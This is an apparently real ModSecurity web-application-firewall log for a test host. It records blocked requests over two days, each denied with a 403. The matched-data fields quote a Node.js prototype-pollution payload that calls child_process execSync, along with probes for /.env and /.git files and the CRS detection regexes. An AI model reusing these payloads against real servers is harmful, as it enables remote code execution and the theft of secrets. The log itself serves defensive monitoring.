[Sat Dec 27 15:48:51.564447 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.566280 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Rule 7f555b2a9320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.566434 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Rule 7f555b2a0030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.572987 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.573150 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sun Dec 28 05:28:48.859196 2025] [:error] [pid 1030683] [client 15.188.232.157:43678] [client 15.188.232.157] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVCyAPRxvrP2OUWSSdt9RAAAAAU&quot;]
[Sun Dec 28 05:28:48.859621 2025] [:error] [pid 1030683] [client 15.188.232.157:43678] [client 15.188.232.157] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVCyAPRxvrP2OUWSSdt9RAAAAAU&quot;]
[Sun Dec 28 05:28:48.860475 2025] [:error] [pid 1030683] [client 15.188.232.157:43678] [client 15.188.232.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVCyAPRxvrP2OUWSSdt9RAAAAAU&quot;]
[Sun Dec 28 05:28:48.860621 2025] [:error] [pid 1030683] [client 15.188.232.157:43678] [client 15.188.232.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVCyAPRxvrP2OUWSSdt9RAAAAAU&quot;]
[Sun Dec 28 07:20:22.136705 2025] [:error] [pid 1030678] [client 45.82.13.170:49134] [client 45.82.13.170] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVDMJlAKGjRlBVv21ncviAAAAAA&quot;]
[Sun Dec 28 07:20:22.136991 2025] [:error] [pid 1030678] [client 45.82.13.170:49134] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVDMJlAKGjRlBVv21ncviAAAAAA&quot;]
[Sun Dec 28 07:20:22.137152 2025] [:error] [pid 1030678] [client 45.82.13.170:49134] [client 45.82.13.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVDMJlAKGjRlBVv21ncviAAAAAA&quot;]
[Sun Dec 28 11:38:14.989479 2025] [:error] [pid 1030682] [client 45.148.10.250:51202] [client 45.148.10.250] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aVEIlns42-BWjoJ9tE6kZwAAAAQ&quot;]
[Sun Dec 28 11:38:14.989777 2025] [:error] [pid 1030682] [client 45.148.10.250:51202] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aVEIlns42-BWjoJ9tE6kZwAAAAQ&quot;]
[Sun Dec 28 11:38:14.989940 2025] [:error] [pid 1030682] [client 45.148.10.250:51202] [client 45.148.10.250] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aVEIlns42-BWjoJ9tE6kZwAAAAQ&quot;]
[Sun Dec 28 12:43:45.846832 2025] [:error] [pid 1030682] [client 54.234.254.24:52828] [client 54.234.254.24] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVEX8Xs42-BWjoJ9tE6kbQAAAAQ&quot;]
[Sun Dec 28 12:43:45.847347 2025] [:error] [pid 1030682] [client 54.234.254.24:52828] [client 54.234.254.24] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVEX8Xs42-BWjoJ9tE6kbQAAAAQ&quot;]
[Sun Dec 28 12:43:45.848293 2025] [:error] [pid 1030682] [client 54.234.254.24:52828] [client 54.234.254.24] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVEX8Xs42-BWjoJ9tE6kbQAAAAQ&quot;]
[Sun Dec 28 12:43:45.848465 2025] [:error] [pid 1030682] [client 54.234.254.24:52828] [client 54.234.254.24] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVEX8Xs42-BWjoJ9tE6kbQAAAAQ&quot;]
[Sun Dec 28 16:03:21.785609 2025] [:error] [pid 1041678] [client 45.130.203.178:51379] [client 45.130.203.178] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aVFGuQgYZmGpbEMnY1VDuAAAAAk&quot;]
[Sun Dec 28 16:03:21.785895 2025] [:error] [pid 1041678] [client 45.130.203.178:51379] [client 45.130.203.178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aVFGuQgYZmGpbEMnY1VDuAAAAAk&quot;]
[Sun Dec 28 16:03:21.786060 2025] [:error] [pid 1041678] [client 45.130.203.178:51379] [client 45.130.203.178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aVFGuQgYZmGpbEMnY1VDuAAAAAk&quot;]
[Sun Dec 28 20:21:30.220463 2025] [:error] [pid 1041676] [client 3.141.11.20:55180] [client 3.141.11.20] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGDOhPcUC2Mgaz_pbsx3wAAAAU&quot;]
[Sun Dec 28 20:21:30.221102 2025] [:error] [pid 1041676] [client 3.141.11.20:55180] [client 3.141.11.20] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGDOhPcUC2Mgaz_pbsx3wAAAAU&quot;]
[Sun Dec 28 20:21:30.222231 2025] [:error] [pid 1041676] [client 3.141.11.20:55180] [client 3.141.11.20] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGDOhPcUC2Mgaz_pbsx3wAAAAU&quot;]
[Sun Dec 28 20:21:30.222445 2025] [:error] [pid 1041676] [client 3.141.11.20:55180] [client 3.141.11.20] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGDOhPcUC2Mgaz_pbsx3wAAAAU&quot;]
[Sun Dec 28 20:45:36.404622 2025] [:error] [pid 1041676] [client 3.143.9.53:51718] [client 3.143.9.53] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGI4BPcUC2Mgaz_pbsx4gAAAAU&quot;]
[Sun Dec 28 20:45:36.405090 2025] [:error] [pid 1041676] [client 3.143.9.53:51718] [client 3.143.9.53] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: 